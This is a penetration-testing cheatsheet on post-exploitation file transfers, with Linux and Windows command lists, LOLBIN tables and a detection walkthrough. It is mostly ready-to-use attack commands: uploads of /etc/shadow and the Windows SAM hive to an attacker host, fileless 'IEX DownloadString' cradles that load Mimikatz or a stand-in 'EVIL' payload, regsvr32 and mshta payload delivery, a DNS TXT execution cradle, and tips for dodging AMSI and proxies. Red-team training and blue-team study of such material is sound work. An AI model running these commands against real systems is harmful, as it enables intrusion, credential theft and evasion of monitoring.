File Transfers
File transfers are one of the noisiest actions on an engagement. Every HTTP download leaves a user-agent trail, every SMB write leaves 4624/5140 events, every certutil invocation has been an AMSI signature since 2019. Pick the method that matches your OPSEC budget, not the one you typed fastest.
When you land on a host, run which wget curl nc ncat socat python python3 php perl ruby (Linux) or check for powershell.exe, certutil.exe, bitsadmin.exe, curl.exe (built-in since Win10 1803) before picking a method. The right method is whatever is already installed.
Cheatsheet
Attacker-side servers
python3 -m http.server 80
python3 -m uploadserver 80 # with /upload endpoint
# SMB
sudo impacket-smbserver share /tmp/smbshare -smb2support -user test -password test
sudo impacket-smbserver share /tmp/smbshare -smb2support # unauthenticated
# WebDAV
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
# FTP (anon)
sudo python3 -m pyftpdlib --port 21 --write
--username=<username> --password=<password> # for auth
# Socat TLS-encrypted listener (receives file)
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem
cat key.pem cert.pem > bundle.pem
socat OPENSSL-LISTEN:4443,cert=bundle.pem,verify=0,fork file:received.bin,create
# Netcat listener (serves file)
sudo nc -l -p 443 -q 0 < payload.exe
# base64 based transfer
#linux
cat file | base64 -w 0; echo # encode
echo -n '<base64>' | base64 -d > file # decode
# windows
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("file")); echo # encode
[System.IO.File]::WriteAllBytes("file", [System.Convert]::FromBase64String("<base64>")) # decode
Linux target download
# wget / curl
wget http://<IP>/linpeas.sh -O /tmp/linpeas.sh
curl -o /tmp/linpeas.sh http://<IP>/linpeas.sh
# Fileless
curl http://<IP>/linpeas.sh | bash
wget -qO- http://<IP>/script.py | python3
# /dev/tcp (why ? not sure about this BUT, can you ? YES : youa re basically opening a tcp socket to the IP:port to r/w)
exec 3<>/dev/tcp/<IP>/80
echo -e "GET /linpeas.sh HTTP/1.1\r\nHost: <IP>\r\n\r\n" >&3
cat <&3 > linpeas.sh
# Netcat receive
cat < /dev/tcp/<IP>/443 > tool.exe
# SCP
scp <USER>@<IP>:/tmp/linpeas.sh /tmp/
# Python 3
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://<IP>/linpeas.sh","linpeas.sh")'
# PHP
php -r '$f=file_get_contents("http://<IP>/linpeas.sh");file_put_contents("linpeas.sh",$f);'
# Ruby
ruby -e 'require "net/http";File.write("linpeas.sh",Net::HTTP.get(URI("http://<IP>/linpeas.sh")))'
# Perl
perl -e 'use LWP::Simple;getstore("http://<IP>/linpeas.sh","linpeas.sh");'Linux target upload
# curl to uploadserver
curl -X POST http://<IP>/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
# Python 3 upload (requires requests module)
python3 -c 'import requests;requests.post("http://<IP>:8000/upload",files={"files":open("/etc/passwd","rb")})'
# Netcat push
nc <IP> 443 < /tmp/loot.tar.gz
# SCP upload
scp /tmp/loot.tar.gz <USER>@<IP>:/tmp/
# OpenSSL s_client
openssl s_client -connect <IP>:443 -quiet < loot.tar.gzWindows target download
# bypass cert validation
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
# PowerShell download to disk
(New-Object Net.WebClient).DownloadFile('http://<IP>/nc.exe','C:\Users\Public\nc.exe')
Invoke-WebRequest http://<IP>/nc.exe -OutFile C:\Users\Public\nc.exe -UseBasicParsing
# PowerShell fileless
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-Mimikatz.ps1')
IEX (iwr 'http://<IP>/PowerView.ps1' -UseBasicParsing)
# LOLBIN downloads
certutil.exe -urlcache -split -f http://<IP>/nc.exe C:\Users\Public\nc.exe
bitsadmin /transfer job /priority foreground http://<IP>/nc.exe C:\Users\Public\nc.exe
Import-Module bitstransfer; Start-BitsTransfer -Source http://<IP>/nc.exe -Destination C:\Users\Public\nc.exe
# SMB copy
copy \\<IP>\share\nc.exe C:\Users\Public\
\\<IP>\share\payload.exe
net use n: \\<IP>\share /user:test test
# WebDAV fallback (when outbound 445 is blocked)
copy \\<IP>\DavWWWRoot\nc.exe C:\Users\Public\Windows target upload
# bypass cert validation
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
# PowerShell POST to uploadserver
(New-Object Net.WebClient).UploadFile('http://<IP>:8000/upload','C:\Users\Public\loot.zip')
# Invoke-WebRequest POST
$b64 = [Convert]::ToBase64String((Get-Content -Path 'C:\loot.txt' -Encoding Byte))
Invoke-WebRequest -Uri http://<IP>:8000/ -Method POST -Body $b64
# SMB write to attacker share
copy C:\Windows\System32\config\SAM \\<IP>\share\
# CertReq.exe exfil via POST body (catches with nc -lvnp)
certreq.exe -Post -config http://<IP>:8000/ C:\Windows\win.ini
# PSSession Copy-Item
$s = New-PSSession -ComputerName TARGET01
Copy-Item -Path "C:\loot.zip" -ToSession $s -Destination C:\Users\Administrator\Desktop\some unsual methods
These are not common methods, but they are useful to know.
# found all of em in https://gist.github.com/HarmJ0y/bb48307ffa663256e239 By HarmJ0y
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
# WinHttp COM object (not proxy aware!)
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
# using bitstransfer- touches disk!
Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r
# DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)
# code to execute needs to be a base64 encoded string stored in a TXT record
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))
# from @subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d
<#
<?xml version="1.0"?>
<command>
<a>
<execute>Get-Process</execute>
</a>
</command>
#>
$a = New-Object System.Xml.XmlDocument
$a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt")
$a.command.a.execute | iex
Transfer Workflow
File transfer is step two of post-exploitation right after shell stabilization. This is a canonical reference note, so it uses a flat decision workflow rather than a phased methodology: enumerate what’s available, pick the quietest method the target allows, verify, and clean up.
Before picking a method, answer three questions in order: what tools exist, what egress is allowed, and what is watching. The method you use is whatever is already installed on a path the firewall permits, chosen for the lowest telemetry you can afford.
1. Enumerate what’s available
- Identify OS and architecture
uname -a(Linux),systeminfo(Windows). Determines which binaries you transfer and which method fits. - Enumerate installed transfer tools Linux:
which wget curl nc ncat socat python python3 php perl ruby scp sftp openssl/ Windows: check forpowershell.exe,certutil.exe,bitsadmin.exe,curl.exe,mshta.exe. - Check PowerShell version (Windows)
$PSVersionTable.PSVersionPS 2.0 =Net.WebClientonly, PS 3.0+ =Invoke-WebRequest. - Check writable directories Linux:
/tmp,/dev/shm,/var/tmp/ Windows:C:\Users\Public\,C:\Windows\Temp\, current user’s%TEMP% - Check network egress what ports are open outbound?
curl http://<IP>:80,curl http://<IP>:443, try SMBdir \\<IP>\share\. - Check for AV/EDR
Get-MpPreference(Defender),tasklistfor known AV process names this sets your OPSEC budget.
2. Pick a method (priority order)
- Start attacker-side server
python3 -m http.server 80in your tools directory. Leave it running for the entire engagement. - Native interpreters first
wget/curl(Linux), PowerShellDownloadFile/IWR(Windows). Fastest, least suspicious. - Fileless before on-disk if you only need to run something (LinPEAS, PowerView, Invoke-Mimikatz), pipe to interpreter.
curl | bashorIEX (...).DownloadString. Never write to disk unless you must. - HTTP before SMB before FTP corporate firewalls almost always allow outbound 80/443. SMB (445) is usually blocked outbound. FTP is rare and noisy.
- Authenticated SMB when guest fails Win10 1709+ blocks unauthenticated guest access by default. Use
impacket-smbserverwith-user test -password test. - LOLBINs when PowerShell is blocked
certutil,bitsadmin,mshta,regsvr32,cscript. Check LOLBAS . - Base64 copy-paste as last resort when no network path exists between target and attacker.
3. Verify, protect, and clean up
- Verify every transfer compare
md5sum/Get-FileHash -Algorithm md5on both sides. Half-downloaded binaries waste hours. - Encrypt before transfer if the file is sensitive NTDS.dit, credential dumps, PII, client data.
openssl enc -aes256orInvoke-AESEncryption.ps1. See Protected Transfers. - Swap user agent if proxy-inspected
Invoke-WebRequest -UserAgent $([Microsoft.PowerShell.Commands.PSUserAgent]::Chrome). - Track what you dropped note every file you transfer to every host. You need this for the report and for cleanup.
- Clean up on rotate-off
rm,del,Remove-Itemtransferred tools. Clear BITS jobs:bitsadmin /reset /allusers. Remove SMB mounts:net use n: /delete.
Why is fileless IEX (...).DownloadString preferred over DownloadFile when you only need to run a PowerShell recon script? DownloadFile writes to disk, triggering on-access AV, Defender real-time protection, Sysmon Event ID 11 (FileCreate), and EDR file-creation telemetry. DownloadString keeps the script as a .NET string in the PowerShell process memory AMSI still scans the decoded content, but you avoid the filesystem entirely. If AMSI is your blocker, writing to disk won’t help either you need an AMSI bypass first.
Windows Transfers Deep Dive
PowerShell WebClient methods
System.Net.WebClient is available in every PowerShell version since 2.0. Supports HTTP, HTTPS, and FTP.
# Download to disk
(New-Object Net.WebClient).DownloadFile('http://<IP>/PowerView.ps1','C:\Users\Public\PowerView.ps1')
# Async returns immediately (useful from web shells or unstable shells)
(New-Object Net.WebClient).DownloadFileAsync('http://<IP>/PowerView.ps1','C:\Users\Public\PowerView.ps1')
# Fileless pipe to IEX (Invoke-Expression)
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-Mimikatz.ps1')
(New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-Mimikatz.ps1') | IEX| Method | Returns | Use |
|---|---|---|
DownloadFile | Writes to disk | Most common when you need the file persisted |
DownloadFileAsync | Writes to disk, non-blocking | Web shells, unstable connections |
DownloadString | string | Fileless pipe to IEX |
DownloadData | byte[] | Binary content, custom processing |
OpenRead | Stream | Streaming large files |
PowerShell Invoke-WebRequest
Available from PowerShell 3.0+ (Server 2012 / Windows 8). Aliases: iwr, curl, wget.
Invoke-WebRequest http://<IP>/tool.exe -OutFile C:\Users\Public\tool.exe -UseBasicParsingInvoke-WebRequest fails on hardened systems where IE’s first-run configuration isn’t complete: “The response content cannot be parsed because the Internet Explorer engine is not available.” Always add -UseBasicParsing by reflex no downside. It’s the default on PowerShell Core 6+, and a no-op (but harmless) on PS 7.
SSL/TLS trust bypass
Self-signed certificates throw “Could not establish trust relationship for the SSL/TLS secure channel.” Disable validation for the session:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
IEX (New-Object Net.WebClient).DownloadString('https://<IP>/script.ps1')JavaScript / VBScript downloaders (cscript.exe)
When PowerShell is blocked by AppLocker but Windows Scripting Host is still allowed.
// wget.js save and invoke with: cscript.exe /nologo wget.js http://<IP>/tool.exe tool.exe
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1; BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));cscript.exe /nologo wget.js http://<IP>/nc.exe nc.exe' wget.vbs same concept, different engine
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1 : .open : .write xHttp.responseBody : .savetofile WScript.Arguments.Item(1), 2
end withLateral Transfer Methods
These methods are for moving files between compromised hosts inside the target network, not back to the attacker.
PowerShell Remoting Copy-Item
Uses WinRM (5985/5986), which is almost always allowed east-west between domain hosts. Leaves a different telemetry footprint than SMB writes.
# Verify WinRM connectivity
Test-NetConnection -ComputerName DATABASE01 -Port 5985
$Session = New-PSSession -ComputerName DATABASE01
# Push to remote host
Copy-Item -Path C:\tools\mimikatz.exe -ToSession $Session -Destination C:\Users\Administrator\Desktop\
# Pull from remote host
Copy-Item -Path "C:\Users\Administrator\Desktop\NTDS.dit" -Destination C:\ -FromSession $SessionProtected Transfers
When the file contains client data, NTDS.dit, credential material, or anything subject to compliance rules, encrypt before transfer. Even when using HTTPS/SSH, the file sits on disk unencrypted on both endpoints and engagements have been torpedoed by a legal team discovering a plaintext passwd-dump.txt on an attacker VM.
Unless the client explicitly authorizes it as part of a DLP test, never exfiltrate actual PII, financial data, or trade secrets. Use synthetic data that demonstrates the capability without the liability. Read the RoE carefully data exfil is often out of scope even when “demonstrate impact” is in scope.
Linux openssl enc
# Encrypt
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
# Decrypt
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd-iter 100000 -pbkdf2 forces 100k PBKDF2 iterations instead of openssl’s weak default key derivation. Without this, offline brute force of the passphrase is trivial.
Windows Invoke-AESEncryption.ps1
Import-Module .\Invoke-AESEncryption.ps1
Invoke-AESEncryption -Mode Encrypt -Key "uniquePerEngagement!" -Path .\scan-results.txt
Invoke-AESEncryption -Mode Decrypt -Key "uniquePerEngagement!" -Path .\scan-results.txt.aesUse a unique key per engagement. A single shared password across clients is how a leaked attacker VM turns into a multi-client breach.
Socat OpenSSL tunnel
End-to-end encrypted raw byte pipe. Useful for ad-hoc transfers when both sides have socat.
# One-time cert
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem
cat key.pem cert.pem > bundle.pem
# Receiver (attacker)
socat OPENSSL-LISTEN:4443,cert=bundle.pem,verify=0,fork file:received.bin,create
# Sender (target)
socat OPENSSL:<IP>:4443,verify=0 file:loot.binOpenSSL s_server / s_client
openssl alone can create a TLS byte pipe this is the GTFOBins approach.
# Attacker serves the file
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem
openssl s_server -quiet -accept 443 -cert cert.pem -key key.pem < /tmp/linpeas.sh
# Target pulls it
openssl s_client -connect <IP>:443 -quiet > linpeas.shLiving Off the Land Binaries
LOLBINs (Windows) and GTFOBins (Linux) are signed, trusted, platform-native binaries whose legitimate functionality includes network I/O. They bypass application whitelists and often slip past behavioural rules focused on powershell.exe and cmd.exe.
Windows LOLBINs
| Binary | Command | Notes |
|---|---|---|
certutil.exe | certutil -urlcache -split -f http://<IP>/nc.exe out.exe | Flagged by AMSI since 2019 still works on unpatched or AMSI-disabled hosts |
certutil.exe | certutil -verifyctl -split -f http://<IP>/nc.exe | Alternate syntax, sometimes bypasses basic signatures |
bitsadmin.exe | bitsadmin /transfer j /priority foreground http://<IP>/nc.exe C:\Users\Public\nc.exe | Creates a BITS job visible in bitsadmin /list |
Start-BitsTransfer | Import-Module bitstransfer; Start-BitsTransfer -Source http://<IP>/nc.exe -Destination C:\Users\Public\nc.exe | PowerShell wrapper around BITS |
mshta.exe | mshta http://<IP>/file.hta | Runs HTML Application classic HTA delivery |
msiexec.exe | msiexec /q /i http://<IP>/pkg.msi | Installs MSI from URL, silent mode |
regsvr32.exe | regsvr32 /s /n /u /i:http://<IP>/file.sct scrobj.dll | ”Squiblydoo” runs SCT from URL without writing it |
expand.exe | expand \\<IP>\share\file.cab C:\temp\file | SMB/WebDAV source, legitimate CAB expander |
GfxDownloadWrapper.exe | GfxDownloadWrapper.exe "http://<IP>/nc.exe" "C:\Temp\nc.exe" | Intel Graphics helper only on Intel-GPU systems, low EDR coverage |
CertReq.exe | certreq -Post -config http://<IP>:8000/ C:\Windows\win.ini | Uploads file as POST body exfil with just a Netcat listener |
desktopimgdownldr.exe | desktopimgdownldr /lockscreen /o:C:\Temp\file.exe /u:http://<IP>/file.exe | Citrix binary rare but effective where present |
Linux GTFOBins
| Binary | Command |
|---|---|
openssl | openssl s_client -connect <IP>:443 -quiet > file |
curl / wget | See Linux Transfers |
nc / ncat / socat | See Attacker-Side Servers |
scp / sftp | Any SSH egress |
tftp | tftp -m binary <IP> -c get file rare but silent |
python / php / ruby / perl | One-liners in Linux section |
busybox | busybox wget http://<IP>/file present on minimal/embedded systems |
Search LOLBAS for /download or /upload and GTFOBins for +file download or +file upload for the full current list.
Detection and Evasion Awareness
Understanding what the blue team sees helps you pick the quietest method for the OPSEC budget.
User-agent fingerprints
Every Windows download method has a distinct default user agent. Enterprise proxies use these to flag non-browser HTTP clients.
| Method | Default User-Agent |
|---|---|
Invoke-WebRequest / Invoke-RestMethod | Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0 |
WinHttp.WinHttpRequest.5.1 | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) |
Msxml2.XMLHTTP | Mozilla/4.0 (compatible; MSIE 7.0; ...) |
certutil | Microsoft-CryptoAPI/10.0 |
BITS | Microsoft BITS/7.8 |
curl.exe (Win10 built-in) | curl/7.55.1 (varies by Windows build) |
User-agent swap
# List built-in PS user agents
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="UA";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}}
# Use Chrome UA
$UA = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://<IP>/nc.exe -UserAgent $UA -OutFile C:\Users\Public\nc.exe -UseBasicParsingUser-agent swapping helps against pattern-match blocklists on proxies. It will not evade behavioural analysis, TLS MITM inspection, or AMSI.
You just pulled mimikatz.exe down with certutil -urlcache. What does the blue team see, and which event fires first?
In order:
- (1) Process creation (Sysmon 1 / Security 4688) for
certutil.exewith the full-urlcache -split -f http://...command line this fires before the network event. - (2) DNS query (Sysmon 22) for the attacker host.
- (3) Network connection (Sysmon 3) from
certutil.exeto an external IP certutil contacting the internet is itself anomalous. - (4) File creation (Sysmon 11) when the binary lands.
- (5) AMSI match if enabled. Most SOCs alert on the certutil command-line pattern before any file-based events index. The command line is the loudest part not the binary you dropped.
Why is a Chrome user-agent a weak evasion on its own?
User agents are client-declared and trivially spoofed defenders know this. Modern detections look at behaviour: process ancestry, network tuple, timing. A powershell.exe child of winword.exe making HTTPS requests to a raw IP is anomalous regardless of UA. UA swapping helps against pattern-match proxy blocklists, not against anything behavioural.
Knowledge Check
Quiz
You have a web shell on a hardened Windows 2019 server. Outbound 445 is blocked, outbound 80/443 is allowed but proxy-inspected with a UA allow-list (Chrome, Firefox, Edge only), AMSI is on, AppLocker blocks powershell.exe for non-admins. You need to get PowerView.ps1 onto the box and run it. What's your best first move?
Quiz
You're on a Linux box with Bash 5.1, no wget, no curl, no python, no netcat, and no outbound connectivity to your attacker but you can reach a misconfigured internal mirror at 10.10.10.32:80 that serves LinPEAS. What's your move?
References
- LOLBAS Project Windows living-off-the-land binaries
- GTFOBins Unix binaries abused for transfers, privesc, bypasses
- HarmJ0y Download Cradles
- Densaugeo/uploadserver
- mar10/wsgidav
- juliourena/plaintext PSUpload.ps1
- Invoke-AESEncryption.ps1
#penetrationtesting #redteam #postexploitation #filetransfer #windows #linux #lolfas #gtfobins #opscec #defenseevasion #privesc #exfiltration